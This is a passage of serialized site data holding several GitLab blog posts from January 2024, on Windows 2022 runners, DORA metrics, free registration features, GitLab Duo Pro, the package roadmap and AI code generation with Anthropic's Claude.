Gitlab.com.*\n",[815,479,267,696],{"slug":7232,"featured":92,"template":678},"pair-gitlab-and-the-good-docs-project-template-to-improve-release-notes","content:en-us:blog:pair-gitlab-and-the-good-docs-project-template-to-improve-release-notes.yml","Pair Gitlab And The Good Docs Project Template To Improve Release Notes","en-us/blog/pair-gitlab-and-the-good-docs-project-template-to-improve-release-notes.yml","en-us/blog/pair-gitlab-and-the-good-docs-project-template-to-improve-release-notes",{"_path":7238,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":7239,"content":7245,"config":7250,"_id":7252,"_type":16,"title":7253,"_source":17,"_file":7254,"_stem":7255,"_extension":20},"/en-us/blog/windows-2022-support-for-gitlab-saas-runners",{"title":7240,"description":7241,"ogTitle":7240,"ogDescription":7241,"noIndex":6,"ogImage":7242,"ogUrl":7243,"ogSiteName":1180,"ogType":1181,"canonicalUrls":7243,"schema":7244},"Windows 2022 support for GitLab SaaS runners now available","Along with this announcement comes the deprecation of Windows 2019 and the existing tags on Windows runners with GitLab 17.0.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098940/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_674148848_4qGCRe0NRFou2mFHkNhv7m_1750098939992.jpg","https://about.gitlab.com/blog/windows-2022-support-for-gitlab-saas-runners","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Windows 2022 support for GitLab SaaS runners now available\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Gabriel Engel\"}],\n        \"datePublished\": \"2024-01-22\",\n      }",{"title":7240,"description":7241,"authors":7246,"heroImage":7242,"date":7247,"body":7248,"category":962,"tags":7249},[769],"2024-01-22","We are now supporting Windows 2022 on our SaaS runners on Windows, which are currently in Beta. This is an important step in our plan to mature SaaS runners to general availability.\n\nWith this update, we are also announcing the deprecation of Windows 2019 and the existing tags on Windows runners with GitLab 17.0, as we aim to simplify the tags across our portfolio of SaaS runners. The tags change follows our announcement of [removing tags from our small SaaS runner on Linux](https://about.gitlab.com/blog/removing-tags-from-small-saas-runner-on-linux/).\n\n### Changes at a glance\n\n- Windows 2022 is available now.\n- We are changing the tags to `saas-windows-medium-amd64`.\n- With GitLab 17.0, we will deprecate Windows 2019 and with it the tags `shared-windows` and `windows-1809`.\n\n### How to migrate to Windows 2022\n\nTo migrate to using Windows 2022, update the tag in your `.gitlab-ci.yaml` file to `saas-windows-medium-amd64` as such:\n\n```yaml\nwindows-2022:\n  stage: test\n  tags:\n  - saas-windows-medium-amd64\n  script:\n    - echo \"I'm running Windows 2022\"\n```\n\nThe job execution will look like this:\n\n![windows 2022 - migrate](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098959/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750098959552.png)\n\nWith this release, we only support and update Windows 2022 for SaaS runners on Windows. Users are not able to select a different image version.\n\nYou can see all updates to our pre-installed software components that ship with our Windows 2022 image under [Supported Windows versions](https://docs.gitlab.com/ee/ci/runners/saas/windows_saas_runner.html#supported-windows-versions).\n\n### Action required until GitLab 17.0\n\nWith GitLab 17.0, jobs configured with any of the deprecated tags `shared-windows` or `windows-1809` will be stuck.\n\nAn example job configuration that will be affected:\n\n```yaml\ntest-invalid-tag:\n  stage: test\n  tags:\n  - shared-windows\n  - windows-1809\n  script:\n    - echo \"I'm affected and will be stuck after 17.0\"\n```\n\nThe stuck job execution will look like this:\n\n![windows 2022 support - stuck job](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098960/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750098959552.png)\n\nTo ensure a smooth transition and avoid job disruptions, update the tag in your `.gitlab-ci.yaml` file to `saas-windows-medium-amd64` in the next three months.\n\n## References:\n- [What are SaaS runners?](https://docs.gitlab.com/ee/ci/runners/)\n- [SaaS runners on Windows documentation](https://docs.gitlab.com/ee/ci/runners/saas/windows_saas_runner.html)\n- [Tags - '.gitlab-ci.yml' Keyword Reference](https://docs.gitlab.com/ee/ci/yaml/#tags)",[479,695,736],{"slug":7251,"featured":6,"template":678},"windows-2022-support-for-gitlab-saas-runners","content:en-us:blog:windows-2022-support-for-gitlab-saas-runners.yml","Windows 2022 Support For Gitlab Saas Runners","en-us/blog/windows-2022-support-for-gitlab-saas-runners.yml","en-us/blog/windows-2022-support-for-gitlab-saas-runners",{"_path":7257,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":7258,"content":7265,"config":7270,"_id":7273,"_type":16,"title":7274,"_source":17,"_file":7275,"_stem":7276,"_extension":20},"/en-us/blog/gitlab-16-8-release",{"title":7259,"description":7260,"ogTitle":7259,"ogDescription":7260,"config":7261,"ogImage":7262,"ogUrl":7263,"ogSiteName":1180,"ogType":1181,"canonicalUrls":7263,"schema":7264},"GitLab 16.8 Release","GitLab 16.8 released with GCP Secret Manager support and the ability to speed up your builds with the Maven dependency proxy.",{"noIndex":92},"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749683452/Blog/Hero%20Images/Screenshot_2024-01-18_at_10.51.01_AM.png","https://about.gitlab.com/blog/gitlab-16-8-release","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab 16.8 Release\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jocelyn Eillis\"}],\n        \"datePublished\": \"2024-01-18\",\n      }",{"title":7259,"description":7260,"authors":7266,"heroImage":7262,"date":7267,"body":7268,"category":695,"tags":7269},[5950],"2024-01-18","16.8 release page can be found [here](https://about.gitlab.com/releases/2024/01/18/gitlab-16-8-released/).",[774],{"slug":7271,"featured":6,"template":678,"externalUrl":7272},"gitlab-16-8-release","https://about.gitlab.com/releases/2024/01/18/gitlab-16-8-released/","content:en-us:blog:gitlab-16-8-release.yml","Gitlab 16 8 Release","en-us/blog/gitlab-16-8-release.yml","en-us/blog/gitlab-16-8-release",{"_path":7278,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":7279,"content":7285,"config":7289,"_id":7291,"_type":16,"title":7292,"_source":17,"_file":7293,"_stem":7294,"_extension":20},"/en-us/blog/inside-dora-performers-score-in-gitlab-value-streams-dashboard",{"title":7280,"description":7281,"ogTitle":7280,"ogDescription":7281,"noIndex":6,"ogImage":7282,"ogUrl":7283,"ogSiteName":1180,"ogType":1181,"canonicalUrls":7283,"schema":7284},"Inside DORA Performers score in GitLab Value Streams Dashboard ","Learn how four key metrics drive DevOps maturity, helping teams optimize workflows and achieve DevOps excellence.\n","https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098908/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_644947854_248JIrEOCaGJdfJdiSjYde_1750098907747.jpg","https://about.gitlab.com/blog/inside-dora-performers-score-in-gitlab-value-streams-dashboard","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Inside DORA Performers score in GitLab Value Streams Dashboard \",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Haim Snir\"}],\n        \"datePublished\": \"2024-01-18\",\n      }",{"title":7280,"description":7281,"authors":7286,"heroImage":7282,"date":7267,"body":7287,"category":962,"tags":7288},[2485],"The DevOps Research and Assessment ([DORA](https://docs.gitlab.com/ee/user/analytics/dora_metrics.html)) metrics are industry-standard measurements to help better understand the capabilities that drive software delivery and operations performance. GitLab recently added a DORA Performers score panel to the Value Streams Dashboard in the GitLab DevSecOps Platform to visualize the status of the organization's DevOps performance across different projects.\n\nThis new visualization displays a breakdown of the DORA performance levels, designating a score level for each project under a group. Executives can use this visualization to easily identify the highs and lows in DORA scores and understand their organization's DevOps health top to bottom.\n\n> [Try the Value Streams Dashboard today.](https://about.gitlab.com/blog/getting-started-with-value-streams-dashboard/)\n\n## What are DORA metrics?\n\nDuring the past nine years, the DORA team gathered insights from over 36,000 professionals around the globe on how to measure the performance of a software development team. They identified four metrics as key indicators to measure software teams' development effectiveness and efficiency:\n\n- [Deployment frequency](https://docs.gitlab.com/ee/user/analytics/dora_metrics.html#deployment-frequency) and [Lead time for changes](https://docs.gitlab.com/ee/user/analytics/dora_metrics.html#lead-time-for-changes) measure team velocity.\n- [Change failure rate](https://docs.gitlab.com/ee/user/analytics/dora_metrics.html#change-failure-rate) and [Time to restore service](https://docs.gitlab.com/ee/user/analytics/dora_metrics.html#time-to-restore-service) measure stability.\n\nBy analyzing these metrics, teams are able to find areas for improvement, optimize their workflows, and ultimately drive positive business results.\n\nDORA uses these metrics to identify high-performing, medium-performing, and low-performing teams.  These performance levels provide a framework for organizations to assess their DevOps maturity and effectiveness.\n\n![DORA performers](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098929/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750098929143.png)\n\nHigh performance indicates that the team is operating at excellent speed and stability in their software delivery, reaching the peak of DevOps maturity.\n\nMedium and low performance levels suggest opportunities for improvement in different aspects of the software development and delivery process.\n\nLet's take a closer look at the DORA definition for each performance level.\n\n![Chart of performance metrics](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750098929/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750098929144.png)\n\u003Csup>\u003Csub>_Source: [DORA Accelerate State of DevOps report](https://cloud.google.com/blog/products/devops-sre/dora-2022-accelerate-state-of-devops-report-now-out)_\u003C/sub>\u003C/sup>\u003Cp>\u003C/p>\n\n## GitLab definitions for the DORA score performance levels\n\nDORA metrics are available out of the box in the GitLab DevSecOps platform. To enable the score calculation to operate \"out of the box\" with GitLab, we adjust the scoring rules so they work with the platform's unified data model. Read more in the [score definition documentation](https://docs.gitlab.com/ee/user/analytics/value_streams_dashboard.html#dora-performers-score-panel).\n\nThe goal is for organizations to strive for high performance in these metrics, as a high score often correlates with better business outcomes, such as increased efficiency, faster time-to-market, and higher software quality.\n\n## DORA metrics in GitLab\n\nIn addition to the Value Streams dashboard, the DORA metrics are available also on the [CI/CD analytics charts](https://docs.gitlab.com/ee/user/analytics/ci_cd_analytics.html), which show the history of DORA metrics over time, and on [Insights reports](https://docs.gitlab.com/ee/user/project/insights/index.html#dora-query-parameters) where you can create custom charts.\n\nWatch our DORA overview video:\n\n\u003C!-- blank line -->\n\u003Cfigure class=\"video_container\">\n \u003Ciframe src=\"https://www.youtube.com/embed/jYQSH4EY6_U?si=sE9rf_X58BGD2uK9\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n\u003C!-- blank line -->\n\n## Get started today\nYou can get started with the Value Streams Dashboard by [following the instructions](https://about.gitlab.com/blog/getting-started-with-value-streams-dashboard/) in this documentation. Then, to help us improve the value of the Value Streams Dashboard, please share feedback about your experience in this [brief survey](https://gitlab.fra1.qualtrics.com/jfe/form/SV_50guMGNU2HhLeT4).\n",[4103,943,479,695,1268],{"slug":7290,"featured":6,"template":678},"inside-dora-performers-score-in-gitlab-value-streams-dashboard","content:en-us:blog:inside-dora-performers-score-in-gitlab-value-streams-dashboard.yml","Inside Dora Performers Score In Gitlab Value Streams Dashboard","en-us/blog/inside-dora-performers-score-in-gitlab-value-streams-dashboard.yml","en-us/blog/inside-dora-performers-score-in-gitlab-value-streams-dashboard",{"_path":7296,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":7297,"content":7302,"config":7307,"_id":7309,"_type":16,"title":7310,"_source":17,"_file":7311,"_stem":7312,"_extension":20},"/en-us/blog/registration-features-program-expands-by-16-free-features",{"title":7298,"description":7299,"ogTitle":7298,"ogDescription":7299,"noIndex":6,"ogImage":1713,"ogUrl":7300,"ogSiteName":1180,"ogType":1181,"canonicalUrls":7300,"schema":7301},"Registration Features program expands by 16 free features","More features now available at no cost to free self-managed Enterprise Edition DevSecOps platform customers who register and turn on their Service Ping.","https://about.gitlab.com/blog/registration-features-program-expands-by-16-free-features","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Registration Features program expands by 16 free features\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Ian Pedowitz\"}],\n        \"datePublished\": \"2024-01-18\",\n      }",{"title":7298,"description":7299,"authors":7303,"heroImage":1713,"date":7267,"body":7305,"category":695,"tags":7306},[7304],"Ian Pedowitz","In GitLab 16.0 we [expanded](https://about.gitlab.com/blog/expanded-registration-features-program/) the [Registration Features program](https://docs.gitlab.com/ee/administration/settings/usage_statistics.html#registration-features-program), which offers free self-managed users running [GitLab Enterprise Edition](https://about.gitlab.com/enterprise/) free use of [paid features](https://docs.gitlab.com/ee/administration/settings/usage_statistics.html#available-features) by registering with GitLab and sending us activity data via Service Ping. In GitLab 16.5, 16.6, and 16.7 we’ve broadened the program to include the following 16 features:\n\n1. [Group wikis](https://docs.gitlab.com/ee/user/project/wiki/group.html): If you use GitLab groups to manage multiple projects, some of your documentation might span multiple groups. You can create group wikis, instead of [project wikis](https://docs.gitlab.com/ee/user/project/wiki/index.html), to ensure all group members have the correct access permissions to contribute.\n1. [Issue analytics](https://docs.gitlab.com/ee/user/group/issues_analytics/index.html): Issue analytics is a bar graph that illustrates the number of issues created each month. The default time span is 13 months, which includes the current month, and the 12 months prior. Issue analytics is available for projects and groups.\n1. [Custom text in emails](https://docs.gitlab.com/ee/administration/settings/email.html#custom-additional-text): You can add additional text at the bottom of any email that GitLab sends. This additional text can be used for legal, auditing, or compliance reasons.\n1. [Contribution analytics](https://docs.gitlab.com/ee/user/group/contribution_analytics/index.html): Contribution analytics provide an overview of the [contribution events](https://docs.gitlab.com/ee/user/profile/contributions_calendar.html#user-contribution-events) made by your group’s members.\n1. [Group file templates](https://docs.gitlab.com/ee/user/group/manage.html#group-file-templates): Use group file templates to share a set of templates for common file types with every project in a group. It is analogous to the [instance template repository](https://docs.gitlab.com/ee/administration/settings/instance_template_repository.html).\n1. [Group webhooks](https://docs.gitlab.com/ee/user/project/integrations/webhooks.html#group-webhooks): You can configure a group webhook, which is triggered by events that occur across all projects in the group and its subgroups.\n1. [Service Level Agreement countdown timer](https://docs.gitlab.com/ee/operations/incident_management/incidents.html#service-level-agreement-countdown-timer): You can enable the SLA timer on incidents to track the SLAs you hold with your customers.\n1. [Lock project membership to group](https://docs.gitlab.com/ee/user/group/access_and_permissions.html#prevent-members-from-being-added-to-projects-in-a-group): As a group Owner, you can prevent any new project membership for all projects in a group, allowing tighter control over project membership.\n1. [Users and permissions report](https://docs.gitlab.com/ee/administration/admin_area.html#user-permission-export): An administrator can export user permissions for all users in the GitLab instance from the Admin Area's Users page.\n1. [Advanced search](https://docs.gitlab.com/ee/user/search/advanced_search.html): You can use advanced search for faster, more efficient search across the entire GitLab instance.\n1. [Group DevOps Adoption](https://docs.gitlab.com/ee/user/group/devops_adoption/index.html): DevOps Adoption shows you how groups in your organization adopt and use the most essential features of GitLab.\n1. [Сross-project pipelines with artifacts dependencies](https://docs.gitlab.com/ee/ci/yaml/index.html#needsproject): Use `needs:project` to download artifacts from up to five jobs in other pipelines.\n1. [Feature flag related issues](https://docs.gitlab.com/ee/operations/feature_flags.html#feature-flag-related-issues): You can link related issues to a feature flag.\n1. [Merged results pipelines](https://docs.gitlab.com/ee/ci/pipelines/merged_results_pipelines.html): A merged results pipeline is a type of [merge request pipeline](https://docs.gitlab.com/ee/ci/pipelines/merge_request_pipelines.html). It is a pipeline that runs against the results of the source and target branches merged together.\n1. [GitLab CI/CD for external repositories](https://docs.gitlab.com/ee/ci/ci_cd_for_external_repos/index.html): GitLab CI/CD can be used with [GitHub](https://docs.gitlab.com/ee/ci/ci_cd_for_external_repos/github_integration.html), [Bitbucket Cloud](https://docs.gitlab.com/ee/ci/ci_cd_for_external_repos/bitbucket_integration.html), or any other Git server, though there are some [limitations](https://docs.gitlab.com/ee/ci/ci_cd_for_external_repos/index.html#limitations).\n1. [Using GitLab CI/CD with a GitHub repository](https://docs.gitlab.com/ee/ci/ci_cd_for_external_repos/github_integration.html): GitLab CI/CD can be used with GitHub.com and GitHub Enterprise by creating a [CI/CD project](https://docs.gitlab.com/ee/ci/ci_cd_for_external_repos/index.html) to connect your GitHub repository to GitLab.\n\nThe above 16 features join the eight features already available to the registration tier in GitLab 16.0 and [prior releases](https://about.gitlab.com/blog/expanded-registration-features-program/).\n\n## How to to participate in the Registration Features program\n\nIf you are interested in participating as a free self-managed user running GitLab Enterprise Edition, you can learn how from our documentation [how to turn on Service Ping](https://docs.gitlab.com/ee/administration/settings/usage_statistics.html#enable-or-disable-usage-statistics).",[110,754,695,736],{"slug":7308,"featured":6,"template":678},"registration-features-program-expands-by-16-free-features","content:en-us:blog:registration-features-program-expands-by-16-free-features.yml","Registration Features Program Expands By 16 Free Features","en-us/blog/registration-features-program-expands-by-16-free-features.yml","en-us/blog/registration-features-program-expands-by-16-free-features",{"_path":7314,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":7315,"content":7320,"config":7326,"_id":7328,"_type":16,"title":7329,"_source":17,"_file":7330,"_stem":7331,"_extension":20},"/en-us/blog/gitlab-duo-pro",{"title":7316,"description":7317,"ogTitle":7316,"ogDescription":7317,"noIndex":6,"ogImage":1032,"ogUrl":7318,"ogSiteName":1180,"ogType":1181,"canonicalUrls":7318,"schema":7319}," GitLab Duo Pro combines Code Suggestions, Chat, and organizational controls","AI-powered code completion, code generation, chat, and per-user assignment come to the GitLab DevSecOps Platform as a secure add-on.","https://about.gitlab.com/blog/gitlab-duo-pro","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \" GitLab Duo Pro combines Code Suggestions, Chat, and organizational controls\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Hillary Benson\"},{\"@type\":\"Person\",\"name\":\"Dave Steer\"}],\n        \"datePublished\": \"2024-01-17\",\n      }",{"title":7316,"description":7317,"authors":7321,"heroImage":1032,"date":7323,"body":7324,"category":791,"tags":7325},[7322,1304],"Hillary Benson","2024-01-17","> __This blog has been updated to include GitLab Duo Chat (in Beta) as part of the GitLab Duo Pro add-on.__\n\nLast year, we launched GitLab Duo Code Suggestions into general availability as the cornerstone of our GitLab Duo suite of AI capabilities that power DevSecOps workflows. We received incredibly positive feedback from our customers on the ease of use and effectiveness of Code Suggestions' code completion and code generation capabilities. \n\nNow, we are introducing [GitLab Duo Pro](https://about.gitlab.com/solutions/gitlab-duo-pro/sales/), a new package that brings together Code Suggestions, Chat, and organizational control capabilities, ensuring that teams can take advantage of AI exactly where they need it throughout the software development lifecycle.\n\n> [Get started with GitLab Duo Pro](https://about.gitlab.com/solutions/gitlab-duo-pro/sales/) \n\nGitLab Duo Pro, which is available to Ultimate and Premium customers as an add-on, boosts developer efficiency and effectiveness by decreasing the time required to write and understand code. With GitLab Duo Pro, organizations can set up their DevSecOps teams for success by giving them the AI-assisted tools they need to develop secure code faster, improve collaboration, and reduce the security and compliance risks of AI adoption.\n\nGitLab Duo Pro features:\n- Code Suggestions: AI-powered code completion and code generation\n- Chat (Beta): Provides real-time guidance on coding, refactoring, and test generation\n- Privacy-first approach: Your code stays your code — GitLab does not use it for training or fine-tuning AI models\n- Organizational controls: GitLab Duo Pro enables organizations to have greater control over AI by limiting AI usage to approved users only\n\nGitLab Duo Pro is available across SaaS, self-managed, and Dedicated deployments.\n\n## What is GitLab Duo Pro?\n\nWith GitLab Duo Pro, developers can access [Code Suggestions](https://about.gitlab.com/solutions/code-suggestions/) to generate blocks of code from single- and multi-line comments as well as comment blocks. Code Suggestions also autocompletes lines of code from a few typed characters — improving cycle times by securely taking care of repetitive, routine coding tasks.\n\nGitLab Duo Pro also includes [Chat](https://about.gitlab.com/blog/gitlab-duo-chat-beta/) (Beta), which is helpful for technical and non-technical users across the entire software development lifecycle. Chat assists in explaining unfamiliar code, suggesting and generating tests, and simplifying code. You can also use Chat to write code from scratch interactively. Whether you are onboarding to GitLab or you are already an expert, learning how to use GitLab is streamlined with Chat.\n\nOrganizational controls are provided in GitLab Duo Pro for better management of AI capabilities, including per-user assignment, so only approved users can use AI.\n\nGitLab Duo Pro is built with privacy as a critical foundation. Private, non-public customer code stored in GitLab is not used for training or fine-tuning AI models. Learn about [data usage when using GitLab Duo Pro Code Suggestions](https://docs.gitlab.com/ee/user/project/repository/code_suggestions/index.html#code-suggestions-data-usage).\n\n## Get GitLab Duo Pro today\n\nGitLab Duo Pro is currently available at a special introductory price of $9 USD per user/month to Ultimate and Premium customers. Beginning on February 1, 2024, GitLab Duo Pro will be available for $19 USD per user/month. [Contact us today](https://about.gitlab.com/solutions/gitlab-duo-pro/sales/) to get started with GitLab Duo Pro.\n",[790,479,943],{"slug":7327,"featured":92,"template":678},"gitlab-duo-pro","content:en-us:blog:gitlab-duo-pro.yml","Gitlab Duo Pro","en-us/blog/gitlab-duo-pro.yml","en-us/blog/gitlab-duo-pro",{"_path":7333,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":7334,"content":7339,"config":7344,"_id":7346,"_type":16,"title":7347,"_source":17,"_file":7348,"_stem":7349,"_extension":20},"/en-us/blog/gitlab-package-roadmap-for-2024",{"title":7335,"description":7336,"ogTitle":7335,"ogDescription":7336,"noIndex":6,"ogImage":6437,"ogUrl":7337,"ogSiteName":1180,"ogType":1181,"canonicalUrls":7337,"schema":7338},"GitLab Package roadmap for 2024","GitLab is launching new package and container registry features to help enterprise customers consolidate on GitLab for artifact management.\n","https://about.gitlab.com/blog/gitlab-package-roadmap-for-2024","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab Package roadmap for 2024\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Tim Rizzi\"}],\n        \"datePublished\": \"2024-01-16\",\n      }",{"title":7335,"description":7336,"authors":7340,"heroImage":6437,"date":7341,"body":7342,"category":695,"tags":7343},[1125],"2024-01-16","_TLDR; In 2024, GitLab will deliver a dependency proxy for Maven, npm, PyPI, and NuGet (stretch). In addition, we'll expand the dependency proxy for containers to work with any external container registry, not just public Docker Hub accounts._\n\n2023 is nearly over. I'd like to take a minute to share some features for [GitLab Package](https://about.gitlab.com/stages-devops-lifecycle/package/) to look forward to in 2024. These new features will enable enterprise customers to consolidate on GitLab for artifact management, and help save money on licensing costs for JFrog/Sonatype and improve the developer experience.\n\n## Package registry\n\nAs the product manager for the Package stage, I have spent the past four years talking to customers and prospects about how they can replace their Artifactory or Sonatype instance with GitLab Package. Although we have helped many smaller organizations to consolidate on GitLab, it's been a challenge to help larger, more complex organizations to do so. Why? Because larger organizations typically need to pull packages from multiple repositories. Artifactory and Nexus offer a feature called virtual registries, which act as a single access point to download, install, or deploy artifacts in the same format from one or more upstream repositories.\n\nThis functionality can:\n- make pipelines faster\n- make pipelines more reliable\n- reduce the cost of data transfer because over time most packages will be pulled from the cache\n\nEach dependency proxy format will give users the ability to add/configure one external repository. \n\nOnce added, when a user tries to install a package using their project-level endpoint, GitLab will first look for the package in the project and, if it's not found, attempt to pull the package from the external repository.\n\nWhen a package is pulled from the external repository, it will be imported into the GitLab project so that the next time that particular package/version is pulled it's pulled from GitLab and not the external repository.\n\nIf the package is not found in their GitLab project or the external repository, GitLab will return an error.\n\n- This feature and all future dependency proxy formats will be in the Premium tier.\n- Project owners will be able to configure this via a project's settings (API or UI).\n- We will support external repositories that require authentication, such as Artifactory or Sonatype.\n\nTo support this theme, we will also likely need to invest in related features, such as those listed in the issues below, which focus on the performance of the registry or giving more fine-grained access control to customers:\n- [Add a dependency proxy scope for GitLab tokens](https://gitlab.com/gitlab-org/gitlab/-/issues/336800)\n- [Improve Package Registry metadata generation](https://gitlab.com/groups/gitlab-org/-/epics/9835)\n- [Package registry authentication token](https://gitlab.com/gitlab-org/gitlab/-/issues/328765)\n\n## Container registry\nToday, GitLab.com is supported by the next-generation container registry and we've seen many performance and reliability improvements.\n\nIn 2024, we will focus on:\n- Getting the [container registry to GA for self-managed customers](https://gitlab.com/groups/gitlab-org/-/epics/5521)\n- [Improving the UI/UX of the container registry](https://gitlab.com/groups/gitlab-org/-/epics/3211)\n- Adding support for [granular access protection for container registries](https://gitlab.com/groups/gitlab-org/-/epics/9825) and [immutable container image tags](https://gitlab.com/gitlab-org/container-registry/-/issues/82)\n- Adding an integration with Google Cloud Platform's Artifact Registry to help [make deploying container images from GitLab to GCP easy](https://gitlab.com/groups/gitlab-org/-/epics/11443)\n\nThis functionality will:\n- help customers to reduce their storage costs\n- make the container registry more performant and reliable\n- make the GitLab team more efficient (by avoiding maintaining two codebases)\n\nWe have exciting plans for 2024! Please follow along as we make the package and container registries more useful, easier to use, and more secure.\n\n_Disclaimer: This blog contains information related to upcoming products, features, and functionality. It is important to note that the information in this blog post is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab._",[695,736,754,943],{"slug":7345,"featured":6,"template":678},"gitlab-package-roadmap-for-2024","content:en-us:blog:gitlab-package-roadmap-for-2024.yml","Gitlab Package Roadmap For 2024","en-us/blog/gitlab-package-roadmap-for-2024.yml","en-us/blog/gitlab-package-roadmap-for-2024",{"_path":7351,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":7352,"content":7357,"config":7362,"_id":7364,"_type":16,"title":7365,"_source":17,"_file":7366,"_stem":7367,"_extension":20},"/en-us/blog/gitlab-uses-anthropic-for-smart-safe-ai-assisted-code-generation",{"title":7353,"description":7354,"ogTitle":7353,"ogDescription":7354,"noIndex":6,"ogImage":1032,"ogUrl":7355,"ogSiteName":1180,"ogType":1181,"canonicalUrls":7355,"schema":7356},"GitLab uses Anthropic for smart, safe AI-assisted code generation","Anthropic’s Claude AI model supports the delivery of helpful, trusted code in GitLab Duo Code Suggestions.","https://about.gitlab.com/blog/gitlab-uses-anthropic-for-smart-safe-ai-assisted-code-generation","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab uses Anthropic for smart, safe AI-assisted code generation\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Kevin Chu\"}],\n        \"datePublished\": \"2024-01-16\",\n      }",{"title":7353,"description":7354,"authors":7358,"heroImage":1032,"date":7341,"body":7360,"category":791,"tags":7361},[7359],"Kevin Chu","GitLab recently launched GitLab Duo Code Suggestions into general availability. Code Suggestions includes the ability to generate algorithms or code blocks directly within the developer's IDE, a capability that uses [Anthropic's](https://www.anthropic.com/) generative AI model, [Claude](https://www.anthropic.com/index/claude-2-1). Integrated into the GitLab Duo portfolio of AI-assisted features, Claude is compatible with GitLab’s principles of [transparency and privacy](https://about.gitlab.com/blog/seven-questions-to-ask-your-devops-provider/) by design and provides a high-integrity foundation for code generation.\n\nIn this post, you'll learn the advantages of code generation and how GitLab, together with Anthropic, is leveraging AI to responsibly boost developer productivity.\n\n## How AI-assisted code generation works\n\nCode Suggestions is incredibly useful as a coding companion that shows the suggestions as a developer types. It helps save developer time and keystrokes, reducing the effort for rote tasks and giving developers time back in their day. But what if a developer wants to do even more with generative AI?\n\nEnter code generation.\n\nImagine needing to write a new complex function based on an unfamiliar algorithm, or write a large amount of boilerplate code. Instead of struggling through these tasks with gritted teeth, code generation allows developers to simply define what they want to do in comments or multi-line comment blocks, and then Code Suggestions generates the code from there. \n\nHere is an example of Code Suggestions generating a JavaScript function that calculates the Levenshtein distance, a string metric useful for comparing the difference between two sequences:\n\n\u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752175962/Blog/lkrk16unp4dcy3c4zwvw.gif\" alt=\"Code Suggestions generating JavaScript function\" width=\"100%\" height=\"auto\">\n\nHere is another example showing a multi-line comment in Python. We want Code Suggestions to generate a Tornado Web Server that does three things: log in, run a scan, and review the results. By providing the specific instructions, including details such as the framework and the components to use,, Code Suggestions was able to generate a Tornado App, despite this author being unfamiliar with Tornado. \n\n\u003Cimg src=\"https://res.cloudinary.com/about-gitlab-com/image/upload/v1752175967/Blog/pxcdppnpzwfhgopxh999.gif\" alt=\"Code Suggestions generating Tornado app\" width=\"100%\" height=\"auto\">\n\nSafety through focus and trustworthiness\nDevelopers expect AI coding assistants to not only be helpful, but also accurate and safe. The system should generate precisely what is asked for while limiting deviation and [hallucination](https://www.ibm.com/topics/ai-hallucinations). Customers want assurances that AI-generated code can be trusted.\n\nThroughout GitLab's evaluation of certain code generation models, Claude stood out for its ability to mitigate distracting, unsafe, or deceptive behaviors. Claude also demonstrated consistent and accurate code generation throughout our testing.\n\nGitLab's use of Anthropic's Claude enables Code Suggestions to balance automation with trust. Code Suggestions helps users become more efficient without sacrificing reliability — a win for augmented development.\n\n## What’s next\n\nReady to experience the future of code generation? Start your [free trial of GitLab Duo](https://about.gitlab.com/gitlab-duo/) today and unlock the power of AI-assisted development!",[790,232,943,4103],{"slug":7363,"featured":92,"template":678},"gitlab-uses-anthropic-for-smart-safe-ai-assisted-code-generation","content:en-us:blog:gitlab-uses-anthropic-for-smart-safe-ai-assisted-code-generation.yml","Gitlab Uses Anthropic For Smart Safe Ai Assisted Code Generation","en-us/blog/gitlab-uses-anthropic-for-smart-safe-ai-assisted-code-generation.yml","en-us/blog/gitlab-uses-anthropic-for-smart-safe-ai-assisted-code-generation",{"_path":7369,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":7370,"content":7376,"config":7380,"_id":7383,"_type":16,"title":7384,"_source":17,"_file":7385,"_stem":7386,"_extension":20},"/en-us/blog/gitlab-critical-security-release-16-7-2-16-6-4-16-5-6",{"title":7371,"description":7372,"ogTitle":7371,"ogDescription":7372,"config":7373,"ogImage":3431,"ogUrl":7374,"ogSiteName":1180,"ogType":1181,"canonicalUrls":7374,"schema":7375},"GitLab Critical Security Release: 16.7.2, 16.6.4, 16.5.6","Learn more about 